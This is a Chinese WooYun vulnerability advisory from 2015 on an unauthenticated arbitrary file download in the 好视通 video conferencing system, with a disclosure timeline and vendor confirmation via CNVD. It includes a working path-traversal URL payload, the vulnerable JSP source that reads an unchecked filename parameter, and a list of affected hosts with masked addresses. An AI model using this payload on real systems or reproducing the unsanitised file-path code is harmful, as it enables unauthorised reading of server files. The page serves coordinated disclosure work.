当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0143719

漏洞标题:好视通视频会议系统存在通用型设计缺陷可任意文件遍历读取(无需登录)

相关厂商:深圳市华视瑞通信息技术有限公司

漏洞作者: YY-2012

提交时间:2015-10-06 21:42

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-06: 细节已通知厂商并且等待厂商处理中
2015-10-12: 厂商已经确认,细节仅向厂商公开
2015-10-15: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-06: 细节向核心白帽子及相关领域专家公开
2015-12-16: 细节向普通白帽子公开
2015-12-26: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

rt

详细说明:

好视通--企业级视频会议系统存在任意文件遍历(无需登录)
利用方式:

http://地址/dbbackup/adminMgr/download.jsp?fileName=../../dbbackup/adminMgr/download.jsp


源代码:

<%@ page language="java" import="**.**.**.**.*" import="**.**.**.**.*" import="com.backup.util.*" pageEncoding="utf-8"%>

<%@ taglib uri="http://**.**.**.**/tags-bean" prefix="bean" %>
<%@ taglib uri="http://**.**.**.**/tags-html" prefix="html" %>
<%@ taglib uri="http://**.**.**.**/tags-logic" prefix="logic" %>
<%@ taglib uri="http://**.**.**.**/tags-tiles" prefix="tiles" %>
<%
String info="";
info = request.getParameter("info");
if(info==null)
{
//文件路径
String Path = ConfigMgr.getBackupPath()+"/";
String filename = request.getParameter("fileName");
int i = 0;
//解决下载乱码问题
if (request.getHeader("User-Agent").toLowerCase().indexOf("firefox") > 0)
filename = new String(filename.getBytes("UTF-8"), "ISO8859-1");//firefox浏览器
else if (request.getHeader("User-Agent").toUpperCase().indexOf("MSIE") > 0)
filename = URLEncoder.encode(filename, "UTF-8");//IE浏览器
response.reset();

response.setContentType("application/octet-stream");

response.setHeader("Content-Disposition","attachment;filename = "+filename);
**.**.**.**.FileInputStream fileInputStream = new **.**.**.**.FileInputStream(Path+filename);
while((i= fileInputStream.read()) != -1){
out.write(i);
}
}
else if(info.endsWith("export"))
{

String filename = request.getParameter("filename");
//文件路径
String Path = ConfigMgr.getExportPath();
int i = 0;

//解决下载乱码问题
if (request.getHeader("User-Agent").toLowerCase().indexOf("firefox") > 0)
filename = new String(filename.getBytes("UTF-8"), "ISO8859-1");//firefox浏览器
else if (request.getHeader("User-Agent").toUpperCase().indexOf("MSIE") > 0)
filename = URLEncoder.encode(filename, "UTF-8");//IE浏览器

response.setContentType("application/octet-stream");

response.setHeader("Content-Disposition","attachment;filename = "+filename);
**.**.**.**.FileInputStream fileInputStream = new **.**.**.**.FileInputStream(Path+filename);
OutputStream os = response.getOutputStream();
while((i= fileInputStream.read()) != -1){
os.write(i);
}
out.clear();
out = pageContext.pushBody();
}

%>

漏洞证明:

aaaaaaaaaaaaaaaa111111111111111111111.jpg


aaaaaaaaaaaaaaaa22222222222222222222222.jpg


aaaaaaaaaaaaaaa3333333333333333333.jpg


案例:

**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:81/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/
**.**.**.**:8080/

修复方案:

联系厂商

版权声明:转载请注明来源 YY-2012@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-10-12 10:41

厂商回复:


CNVD确认并复现所述情况,已由CNVD通过软件生产厂商公开联系渠道向其邮件通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无